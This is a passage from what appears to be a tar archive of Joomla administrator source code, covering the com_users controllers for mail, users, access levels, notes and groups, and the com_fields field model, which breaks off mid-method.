				JError::raiseWarning(500, $model->getError());
			}
			else
			{
				$this->setMessage(JText::plural('COM_USERS_N_LEVELS_DELETED', count($ids)));
			}
		}

		$this->setRedirect('index.php?option=com_users&view=levels');
	}
}
com_users/controllers/mail.php000060400000002407152455305320012547 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Users mail controller.
 *
 * @since  1.6
 */
class UsersControllerMail extends JControllerLegacy
{
	/**
	 * Send the mail
	 *
	 * @return void
	 *
	 * @since 1.6
	 */
	public function send()
	{
		// Redirect to admin index if mass mailer disabled in conf
		if (JFactory::getApplication()->get('massmailoff', 0) == 1)
		{
			JFactory::getApplication()->redirect(JRoute::_('index.php', false));
		}

		// Check for request forgeries.
		$this->checkToken('request');

		$model = $this->getModel('Mail');

		if ($model->send())
		{
			$type = 'message';
		}
		else
		{
			$type = 'error';
		}

		$msg = $model->getError();
		$this->setRedirect('index.php?option=com_users&view=mail', $msg, $type);
	}

	/**
	 * Cancel the mail
	 *
	 * @return void
	 *
	 * @since 1.6
	 */
	public function cancel()
	{
		// Check for request forgeries.
		$this->checkToken('request');

		// Clear data from session.
		\JFactory::getApplication()->setUserState('com_users.display.mail.data', null);

		$this->setRedirect('index.php');
	}
}
com_users/controllers/users.php000060400000006247152455305320012774 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Users list controller class.
 *
 * @since  1.6
 */
class UsersControllerUsers extends JControllerAdmin
{
	/**
	 * @var    string  The prefix to use with controller messages.
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_USERS_USERS';

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   1.6
	 * @see     JController
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);

		$this->registerTask('block', 'changeBlock');
		$this->registerTask('unblock', 'changeBlock');
	}

	/**
	 * Proxy for getModel.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  object  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'User', $prefix = 'UsersModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}

	/**
	 * Method to change the block status on a record.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function changeBlock()
	{
		// Check for request forgeries.
		$this->checkToken();

		$ids    = (array) $this->input->get('cid', array(), 'int');
		$values = array('block' => 1, 'unblock' => 0);
		$task   = $this->getTask();
		$value  = ArrayHelper::getValue($values, $task, 0, 'int');

		// Remove zero values resulting from input filter
		$ids = array_filter($ids);

		if (empty($ids))
		{
			JError::raiseWarning(500, JText::_('COM_USERS_USERS_NO_ITEM_SELECTED'));
		}
		else
		{
			// Get the model.
			$model = $this->getModel();

			// Change the state of the records.
			if (!$model->block($ids, $value))
			{
				JError::raiseWarning(500, $model->getError());
			}
			else
			{
				if ($value == 1)
				{
					$this->setMessage(JText::plural('COM_USERS_N_USERS_BLOCKED', count($ids)));
				}
				elseif ($value == 0)
				{
					$this->setMessage(JText::plural('COM_USERS_N_USERS_UNBLOCKED', count($ids)));
				}
			}
		}

		$this->setRedirect('index.php?option=com_users&view=users');
	}

	/**
	 * Method to activate a record.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function activate()
	{
		// Check for request forgeries.
		$this->checkToken();

		$ids = (array) $this->input->get('cid', array(), 'int');

		// Remove zero values resulting from input filter
		$ids = array_filter($ids);

		if (empty($ids))
		{
			JError::raiseWarning(500, JText::_('COM_USERS_USERS_NO_ITEM_SELECTED'));
		}
		else
		{
			// Get the model.
			$model = $this->getModel();

			// Change the state of the records.
			if (!$model->activate($ids))
			{
				JError::raiseWarning(500, $model->getError());
			}
			else
			{
				$this->setMessage(JText::plural('COM_USERS_N_USERS_ACTIVATED', count($ids)));
			}
		}

		$this->setRedirect('index.php?option=com_users&view=users');
	}
}
com_users/controllers/levels.php000060400000001720152455305320013114 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * User view levels list controller class.
 *
 * @since  1.6
 */
class UsersControllerLevels extends JControllerAdmin
{
	/**
	 * @var     string  The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_USERS_LEVELS';

	/**
	 * Proxy for getModel.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  object  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Level', $prefix = 'UsersModel', $config = array())
	{
		return parent::getModel($name, $prefix, array('ignore_request' => true));
	}
}
com_users/controllers/notes.php000060400000001751152455305320012756 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * User notes controller class.
 *
 * @since  2.5
 */
class UsersControllerNotes extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $text_prefix = 'COM_USERS_NOTES';

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  object  The model.
	 *
	 * @since   2.5
	 */
	public function getModel($name = 'Note', $prefix = 'UsersModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
com_users/controllers/group.php000060400000003155152455305320012762 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * User view level controller class.
 *
 * @since  1.6
 */
class UsersControllerGroup extends JControllerForm
{
	/**
	 * @var	    string  The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_USERS_GROUP';

	/**
	 * Method to check if you can save a new or existing record.
	 *
	 * Overrides JControllerForm::allowSave to check the core.admin permission.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowSave($data, $key = 'id')
	{
		return (JFactory::getUser()->authorise('core.admin', $this->option) && parent::allowSave($data, $key));
	}

	/**
	 * Overrides JControllerForm::allowEdit
	 *
	 * Checks that non-Super Admins are not editing Super Admins.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Check if this group is a Super Admin
		if (JAccess::checkGroup($data[$key], 'core.admin'))
		{
			// If I'm not a Super Admin, then disallow the edit.
			if (!JFactory::getUser()->authorise('core.admin'))
			{
				return false;
			}
		}

		return parent::allowEdit($data, $key);
	}
}
com_users/controllers/groups.php000060400000005712152455305320013146 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * User groups list controller class.
 *
 * @since  1.6
 */
class UsersControllerGroups extends JControllerAdmin
{
	/**
	 * @var     string  The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_USERS_GROUPS';

	/**
	 * Proxy for getModel.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  object  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Group', $prefix = 'UsersModel', $config = array())
	{
		return parent::getModel($name, $prefix, array('ignore_request' => true));
	}

	/**
	 * Removes an item.
	 *
	 * Overrides JControllerAdmin::delete to check the core.admin permission.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function delete()
	{
		if (!JFactory::getUser()->authorise('core.admin', $this->option))
		{
			JError::raiseError(500, JText::_('JERROR_ALERTNOAUTHOR'));
			jexit();
		}

		return parent::delete();
	}

	/**
	 * Method to publish a list of records.
	 *
	 * Overrides JControllerAdmin::publish to check the core.admin permission.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function publish()
	{
		if (!JFactory::getUser()->authorise('core.admin', $this->option))
		{
			JError::raiseError(500, JText::_('JERROR_ALERTNOAUTHOR'));
			jexit();
		}

		return parent::publish();
	}

	/**
	 * Changes the order of one or more records.
	 *
	 * Overrides JControllerAdmin::reorder to check the core.admin permission.
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.6
	 */
	public function reorder()
	{
		if (!JFactory::getUser()->authorise('core.admin', $this->option))
		{
			JError::raiseError(500, JText::_('JERROR_ALERTNOAUTHOR'));
			jexit();
		}

		return parent::reorder();
	}

	/**
	 * Method to save the submitted ordering values for records.
	 *
	 * Overrides JControllerAdmin::saveorder to check the core.admin permission.
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.6
	 */
	public function saveorder()
	{
		if (!JFactory::getUser()->authorise('core.admin', $this->option))
		{
			JError::raiseError(500, JText::_('JERROR_ALERTNOAUTHOR'));
			jexit();
		}

		return parent::saveorder();
	}

	/**
	 * Check in of one or more records.
	 *
	 * Overrides JControllerAdmin::checkin to check the core.admin permission.
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.6
	 */
	public function checkin()
	{
		if (!JFactory::getUser()->authorise('core.admin', $this->option))
		{
			JError::raiseError(500, JText::_('JERROR_ALERTNOAUTHOR'));
			jexit();
		}

		return parent::checkin();
	}
}
com_users/controllers/note.php000060400000002123152455305320012565 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * User note controller class.
 *
 * @since  2.5
 */
class UsersControllerNote extends JControllerForm
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $text_prefix = 'COM_USERS_NOTE';

	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   integer  $recordId  The primary key id for the item.
	 * @param   string   $key       The name of the primary key variable.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   2.5
	 */
	protected function getRedirectToItemAppend($recordId = null, $key = 'id')
	{
		$append = parent::getRedirectToItemAppend($recordId, $key);

		$userId = JFactory::getApplication()->input->get('u_id', 0, 'int');

		if ($userId)
		{
			$append .= '&u_id=' . $userId;
		}

		return $append;
	}
}
com_fields/models/field.php000060400000067254152455305320011745 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Field Model
 *
 * @since  3.7.0
 */
class FieldsModelField extends JModelAdmin
{
	/**
	 * @var null|string
	 *
	 * @since   3.7.0
	 */
	public $typeAlias = null;

	/**
	 * @var string
	 *
	 * @since   3.7.0
	 */
	protected $text_prefix = 'COM_FIELDS';

	/**
	 * Batch copy/move command. If set to false,
	 * the batch copy/move command is not supported
	 *
	 * @var    string
	 * @since  3.4
	 */
	protected $batch_copymove = 'group_id';

	/**
	 * Allowed batch commands
	 *
	 * @var array
	 */
	protected $batch_commands = array(
		'assetgroup_id' => 'batchAccess',
		'language_id'   => 'batchLanguage'
	);

	/**
	 * @var array
	 *
	 * @since   3.7.0
	 */
	private $valueCache = array();

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JModelLegacy
	 * @since   3.7.0
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);

		$this->typeAlias = JFactory::getApplication()->input->getCmd('context', 'com_content.article') . '.field';
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success, False on error.
	 *
	 * @since   3.7.0
	 */
	public function save($data)
	{
		$field = null;

		if (isset($data['id']) && $data['id'])
		{
			$field = $this->getItem($data['id']);
		}

		if (!isset($data['label']) && isset($data['params']['label']))
		{
			$data['label'] = $data['params']['label'];

			unset($data['params']['label']);
		}

		// Alter the title for save as copy
		$input = JFactory::getApplication()->input;

		if ($input->get('task') == 'save2copy')
		{
			$origTable = clone $this->getTable();
			$origTable->load($input->getInt('id'));

			if ($data['title'] == $origTable->title)
			{
				list($title, $name) = $this->generateNewTitle($data['group_id'], $data['name'], $data['title']);
				$data['title'] = $title;
				$data['label'] = $title;
				$data['name'] = $name;
			}
			else
			{
				if ($data['name'] == $origTable->name)
				{
					$data['name'] = '';
				}
			}

			$data['state'] = 0;
		}

		// Load the fields plugins, perhaps they want to do something
		JPluginHelper::importPlugin('fields');

		$message = $this->checkDefaultValue($data);

		if ($message !== true)
		{
			$this->setError($message);

			return false;
		}

		if (!parent::save($data))
		{
			return false;
		}

		// Save the assigned categories into #__fields_categories
		$db = $this->getDbo();
		$id = (int) $this->getState('field.id');
		$cats = isset($data['assigned_cat_ids']) ? (array) $data['assigned_cat_ids'] : array();
		$cats = ArrayHelper::toInteger($cats);

		$assignedCatIds = array();

		foreach ($cats as $cat)
		{
			if ($cat)
			{
				$assignedCatIds[] = $cat;
			}
		}

		// First delete all assigned categories
		$query = $db->getQuery(true);
		$query->delete('#__fields_categories')
			->where('field_id = ' . $id);
		$db->setQuery($query);
		$db->execute();

		// Inset new assigned categories
		$tupel = new stdClass;
		$tupel->field_id = $id;

		foreach ($assignedCatIds as $catId)
		{
			$tupel->category_id = $catId;
			$db->insertObject('#__fields_categories', $tupel);
		}

		// If the options have changed delete the values
		if ($field && isset($data['fieldparams']['options']) && isset($field->fieldparams['options']))
		{
			$oldParams = $this->getParams($field->fieldparams['options']);
			$newParams = $this->getParams($data['fieldparams']['options']);

			if (is_object($oldParams) && is_object($newParams) && $oldParams != $newParams)
			{
				$names = array();

				foreach ($newParams as $param)
				{
					$names[] = $db->q($param['value']);
				}

				$query = $db->getQuery(true);
				$query->delete('#__fields_values')->where('field_id = ' . (int) $field->id);

				// If new values are set, delete only old values. Otherwise delete all values.
				if ($names)
				{
					$query->where('value NOT IN (' . implode(',', $names) . ')');
				}

				$db->setQuery($query);
				$db->execute();
			}
		}

		FieldsHelper::clearFieldsCache();

		return true;
	}


	/**
	 * Checks if the default value is valid for the given data. If a string is returned then
	 * it can be assumed that the default value is invalid.
	 *
	 * @param   array  $data  The data.
	 *
	 * @return  true|string  true if valid, a string containing the exception message when not.
	 *
	 * @since   3.7.0
	 */
	private function checkDefaultValue($data)
	{
		// Empty default values are correct
		if (empty($data['default_value']) && $data['default_value'] !== '0')
		{
			return true;
		}

		$types = FieldsHelper::getFieldTypes();

		// Check if type exists
		if (!key_exists($data['type'], $types))
		{
			return true;
		}

		$path = $types[$data['type']]['rules'];

		// Add the path for the rules of the plugin when available
		if ($path)
		{
			// Add the lookup path for the rule
			JFormHelper::addRulePath($path);
		}

		// Create the fields object
		$obj              = (object) $data;
		$obj->params      = new Registry($obj->params);
		$obj->fieldparams = new Registry(!empty($obj->fieldparams) ? $obj->fieldparams : array());

		// Prepare the dom
		$dom  = new DOMDocument;
		$node = $dom->appendChild(new DOMElement('form'));

		// Trigger the event to create the field dom node
		JEventDispatcher::getInstance()->trigger('onCustomFieldsPrepareDom', array($obj, $node, new JForm($data['context'])));

		// Check if a node is created
		if (!$node->firstChild)
		{
			return true;
		}

		// Define the type either from the field or from the data
		$type = $node->firstChild->getAttribute('validate') ? : $data['type'];

		// Load the rule
		$rule = JFormHelper::loadRuleType($type);

		// When no rule exists, we allow the default value
		if (!$rule)
		{
			return true;
		}

		try
		{
			// Perform the check
			$result = $rule->test(simplexml_import_dom($node->firstChild), $data['default_value']);

			// Check if the test succeeded
			return $result === true ? : JText::_('COM_FIELDS_FIELD_INVALID_DEFAULT_VALUE');
		}
		catch (UnexpectedValueException $e)
		{
			return $e->getMessage();
		}
	}

	/**
	 * Converts the unknown params into an object.
	 *
	 * @param   mixed  $params  The params.
	 *
	 * @return  stdClass  Object on success, false on failure.
	 *
	 * @since   3.7.0
	 */
	private function getParams($params)
	{
		if (is_string($params))
		{
			$params = json_decode($params);
		}

		if (is_array($params))
		{
			$params = (object) $params;
		}

		return $params;
	}

	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed    Object on success, false on failure.
	 *
	 * @since   3.7.0
	 */
	public function getItem($pk = null)
	{
		$result = parent::getItem($pk);

		if ($result)
		{
			// Prime required properties.
			if (empty($result->id))
			{
				$result->context = JFactory::getApplication()->input->getCmd('context', $this->getState('field.context'));
			}

			if (property_exists($result, 'fieldparams') && $result->fieldparams !== null)
			{
				$registry = new Registry;
				$registry->loadString($result->fieldparams);
				$result->fieldparams = $registry->toArray();
			}

			$db = $this->getDbo();
			$query = $db->getQuery(true);
			$query->select('category_id')
				->from('#__fields_categories')
				->where('field_id = ' . (int) $result->id);

			$db->setQuery($query);
			$result->assigned_cat_ids = $db->loadColumn() ?: array(0);
		}

		return $result;
	}

	/**
	 * Method to get a table object, load it if necessary.
	 *
	 * @param   string  $name     The table name. Optional.
	 * @param   string  $prefix   The class prefix. Optional.
	 * @param   array   $options  Configuration array for model. Optional.
	 *
	 * @return  JTable  A JTable object
	 *
	 * @since   3.7.0
	 * @throws  Exception
	 */
	public function getTable($name = 'Field', $prefix = 'FieldsTable', $options = array())
	{
		if (strpos(JPATH_COMPONENT, 'com_fields') === false)
		{
			$this->addTablePath(JPATH_ADMINISTRATOR . '/components/com_fields/tables');
		}

		// Default to text type
		$table       = JTable::getInstance($name, $prefix, $options);
		$table->type = 'text';

		return $table;
	}

	/**
	 * Method to change the title & name.
	 *
	 * @param   integer  $categoryId  The id of the category.
	 * @param   string   $name        The name.
	 * @param   string   $title       The title.
	 *
	 * @return  array  Contains the modified title and name.
	 *
	 * @since    3.7.0
	 */
	protected function generateNewTitle($categoryId, $name, $title)
	{
		// Alter the title & name
		$table = $this->getTable();

		while ($table->load(array('name' => $name)))
		{
			$title = StringHelper::increment($title);
			$name = StringHelper::increment($name, 'dash');
		}

		return array(
			$title,
			$name,
		);
	}

	/**
	 * Method to delete one or more records.
	 *
	 * @param   array  $pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since   3.7.0
	 */
	public function delete(&$pks)
	{
		$success = parent::delete($pks);

		if ($success)
		{
			$pks = (array) $pks;
			$pks = ArrayHelper::toInteger($pks);
			$pks = array_filter($pks);

			if (!empty($pks))
			{
				// Delete Values
				$query = $this->getDbo()->getQuery(true);

				$query->delete($query->qn('#__fields_values'))
					->where($query->qn('field_id') . ' IN(' . implode(',', $pks) . ')');

				$this->getDbo()->setQuery($query)->execute();

				// Delete Assigned Categories
				$query = $this->getDbo()->getQuery(true);

				$query->delete($query->qn('#__fields_categories'))
					->where($query->qn('field_id') . ' IN(' . implode(',', $pks) . ')');

				$this->getDbo()->setQuery($query)->execute();
			}
		}

		return $success;
	}

	/**
	 * Abstract method for getting the form from the model.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   3.7.0
	 */
	public function getForm($data = array(), $loadData = true)
	{
		$context = $this->getState('field.context');
		$jinput  = JFactory::getApplication()->input;

		// A workaround to get the context into the model for save requests.
		if (empty($context) && isset($data['context']))
		{
			$context = $data['context'];
			$parts   = FieldsHelper::extract($context);

			$this->setState('field.context', $context);

			if ($parts)
			{
				$this->setState('field.component', $parts[0]);
				$this->setState('field.section', $parts[1]);
			}
		}

		if (isset($data['type']))
		{
			// This is needed that the plugins can determine the type
			$this->setState('field.type', $data['type']);
		}

		// Load the fields plugin that they can add additional parameters to the form
		JPluginHelper::importPlugin('fields');

		// Get the form.
		$form = $this->loadForm(
			'com_fields.field.' . $context, 'field',
			array(
				'control'   => 'jform',
				'load_data' => true,
			)
		);

		if (empty($form))
		{
			return false;
		}

		// Modify the form based on Edit State access controls.
		if (empty($data['context']))
		{
			$data['context'] = $context;
		}

		$fieldId  = $jinput->get('id');
		$assetKey = $this->state->get('field.component') . '.field.' . $fieldId;

		if (!JFactory::getUser()->authorise('core.edit.state', $assetKey))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled', 'true');
			$form->setFieldAttribute('state', 'disabled', 'true');

			// Disable fields while saving. The controller has already verified this is a record you can edit.
			$form->setFieldAttribute('ordering', 'filter', 'unset');
			$form->setFieldAttribute('state', 'filter', 'unset');
		}

		return $form;
	}

	/**
	 * Setting the value for the given field id, context and item id.
	 *
	 * @param   string  $fieldId  The field ID.
	 * @param   string  $itemId   The ID of the item.
	 * @param   string  $value    The value.
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public function setFieldValue($fieldId, $itemId, $value)
	{
		$field  = $this->getItem($fieldId);
		$params = $field->params;

		if (is_array($params))
		{
			$params = new Registry($params);
		}

		// Don't save the value when the user is not authorized to change it
		if (!$field || !FieldsHelper::canEditFieldValue($field))
		{
			return false;
		}

		$needsDelete = false;
		$needsInsert = false;
		$needsUpdate = false;

		$oldValue = $this->getFieldValue($fieldId, $itemId);
		$value    = (array) $value;

		if ($oldValue === null)
		{
			// No records available, doing normal insert
			$needsInsert = true;
		}
		elseif (count($value) == 1 && count((array) $oldValue) == 1)
		{
			// Only a single row value update can be done when not empty
			$needsUpdate = is_array($value[0]) ? count($value[0]) : strlen($value[0]);
			$needsDelete = !$needsUpdate;
		}
		else
		{
			// Multiple values, we need to purge the data and do a new
			// insert
			$needsDelete = true;
			$needsInsert = true;
		}

		if ($needsDelete)
		{
			// Deleting the existing record as it is a reset
			$query = $this->getDbo()->getQuery(true);

			$query->delete($query->qn('#__fields_values'))
				->where($query->qn('field_id') . ' = ' . (int) $fieldId)
				->where($query->qn('item_id') . ' = ' . $query->q($itemId));

			$this->getDbo()->setQuery($query)->execute();
		}

		if ($needsInsert)
		{
			$newObj = new stdClass;

			$newObj->field_id = (int) $fieldId;
			$newObj->item_id  = $itemId;

			foreach ($value as $v)
			{
				$newObj->value = $v;

				$this->getDbo()->insertObject('#__fields_values', $newObj);
			}
		}

		if ($needsUpdate)
		{
			$updateObj = new stdClass;

			$updateObj->field_id = (int) $fieldId;
			$updateObj->item_id  = $itemId;
			$updateObj->value    = reset($value);

			$this->getDbo()->updateObject('#__fields_values', $updateObj, array('field_id', 'item_id'));
		}

		$this->valueCache = array();
		FieldsHelper::clearFieldsCache();

		return true;
	}

	/**
	 * Returning the value for the given field id, context and item id.
	 *
	 * @param   string  $fieldId  The field ID.
	 * @param   string  $itemId   The ID of the item.
	 *
	 * @return  NULL|string
	 *
	 * @since  3.7.0
	 */
	public function getFieldValue($fieldId, $itemId)
	{
		$values = $this->getFieldValues(array($fieldId), $itemId);

		if (key_exists($fieldId, $values))
		{
			return $values[$fieldId];
		}

		return null;
	}

	/**
	 * Returning the values for the given field ids, context and item id.
	 *
	 * @param   array   $fieldIds  The field Ids.
	 * @param   string  $itemId    The ID of the item.
	 *
	 * @return  NULL|array
	 *
	 * @since  3.7.0
	 */
	public function getFieldValues(array $fieldIds, $itemId)
	{
		if (!$fieldIds)
		{
			return array();
		}

		// Create a unique key for the cache
		$key = md5(serialize($fieldIds) . $itemId);

		// Fill the cache when it doesn't exist
		if (!key_exists($key, $this->valueCache))
		{
			// Create the query
			$query = $this->getDbo()->getQuery(true);

			$query->select(array($query->qn('field_id'), $query->qn('value')))
				->from($query->qn('#__fields_values'))
				->where($query->qn('field_id') . ' IN (' . implode(',', ArrayHelper::toInteger($fieldIds)) . ')')
				->where($query->qn('item_id') . ' = ' . $query->q($itemId));

			// Fetch the row from the database
			$rows = $this->getDbo()->setQuery($query)->loadObjectList();

			$data = array();

			// Fill the data container from the database rows
			foreach ($rows as $row)
			{
				// If there are multiple values for a field, create an array
				if (key_exists($row->field_id, $data))
				{
					// Transform it to an array
					if (!is_array($data[$row->field_id]))
					{
						$data[$row->field_id] = array($data[$row->field_id]);
					}

					// Set the value in the array
					$data[$row->field_id][] = $row->value;

					// Go to the next row, otherwise the value gets overwritten in the data container
					continue;
				}

				// Set the value
				$data[$row->field_id] = $row->value;
			}

			// Assign it to the internal cache
			$this->valueCache[$key] = $data;
		}

		// Return the value from the cache
		return $this->valueCache[$key];
	}

	/**
	 * Cleaning up the values for the given item on the context.
	 *
	 * @param   string  $context  The context.
	 * @param   string  $itemId   The Item ID.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function cleanupValues($context, $itemId)
	{
		// Delete with inner join is not possible so we need to do a subquery
		$fieldsQuery = $this->getDbo()->getQuery(true);
		$fieldsQuery->select($fieldsQuery->qn('id'))
			->from($fieldsQuery->qn('#__fields'))
			->where($fieldsQuery->qn('context') . ' = ' . $fieldsQuery->q($context));

		$query = $this->getDbo()->getQuery(true);

		$query->delete($query->qn('#__fields_values'))
			->where($query->qn('field_id') . ' IN (' . $fieldsQuery . ')')
			->where($query->qn('item_id') . ' = ' . $query->q($itemId));

		$this->getDbo()->setQuery($query)->execute();
	}

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission for the component.
	 *
	 * @since   3.7.0
	 */
	protected function canDelete($record)
	{
		if (empty($record->id) || $record->state != -2)
		{
			return false;
		}

		$parts = FieldsHelper::extract($record->context);

		return JFactory::getUser()->authorise('core.delete', $parts[0] . '.field.' . (int) $record->id);
	}

	/**
	 * Method to test whether a record can have its state changed.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record. Defaults to the permission for the
	 *                   component.
	 *
	 * @since   3.7.0
	 */
	protected function canEditState($record)
	{
		$user  = JFactory::getUser();
		$parts = FieldsHelper::extract($record->context);

		// Check for existing field.
		if (!empty($record->id))
		{
			return $user->authorise('core.edit.state', $parts[0] . '.field.' . (int) $record->id);
		}

		return $user->authorise('core.edit.state', $parts[0]);
	}

	/**
	 * Stock method to auto-populate the model state.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function populateState()
	{
		$app = JFactory::getApplication('administrator');

		// Load the User state.
		$pk = $app->input->getInt('id');
		$this->setState($this->getName() . '.id', $pk);

		$context = $app->input->get('context', 'com_content.article');
		$this->setState('field.context', $context);
		$parts = FieldsHelper::extract($context);

		// Extract the component name
		$this->setState('field.component', $parts[0]);

		// Extract the optional section name
		$this->setState('field.section', (count($parts) > 1) ? $parts[1] : null);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_fields');
		$this->setState('params', $params);
	}

	/**
	 * A protected method to get a set of ordering conditions.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  array  An array of conditions to add to ordering queries.
	 *
	 * @since   3.7.0
	 */
	protected function getReorderConditions($table)
	{
		return 'context = ' . $this->_db->quote($table->context);
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  array  The default data is an empty array.
	 *
	 * @since   3.7.0
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$app  = JFactory::getApplication();
		$data = $app->getUserState('com_fields.edit.field.data', array());

		if (empty($data))
		{
			$data = $this->getItem();

			// Pre-select some filters (Status, Language, Access) in edit form
			// if those have been selected in Category Manager
			if (!$data->id)
			{
				// Check for which context the Category Manager is used and
				// get selected fields
				$filters = (array) $app->getUserState('com_fields.fields.filter');

				$data->set('state', $app->input->getInt('state', ((isset($filters['state']) && $filters['state'] !== '') ? $filters['state'] : null)));
				$data->set('language', $app->input->getString('language', (!empty($filters['language']) ? $filters['language'] : null)));
				$data->set('group_id', $app->input->getString('group_id', (!empty($filters['group_id']) ? $filters['group_id'] : null)));
				$data->set(
					'access',
					$app->input->getInt('access', (!empty($filters['access']) ? $filters['access'] : JFactory::getConfig()->get('access')))
				);

				// Set the type if available from the request
				$data->set('type', $app->input->getWord('type', $this->state->get('field.type', $data->get('type'))));
			}

			if ($data->label && !isset($data->params['label']))
			{
				$data->params['label'] = $data->label;
			}
		}

		$this->preprocessData('com_fields.field', $data);

		return $data;
	}

	/**
	 * Method to validate the form data.
	 *
	 * @param   JForm   $form   The form to validate against.
	 * @param   array   $data   The data to validate.
	 * @param   string  $group  The name of the field group to validate.
	 *
	 * @return  array|boolean  Array of filtered data if valid, false otherwise.
	 *
	 * @see     JFormRule
	 * @see     JFilterInput
	 * @since   3.9.23
	 */
	public function validate($form, $data, $group = null)
	{
		// Don't allow to change the users if not allowed to access com_users.
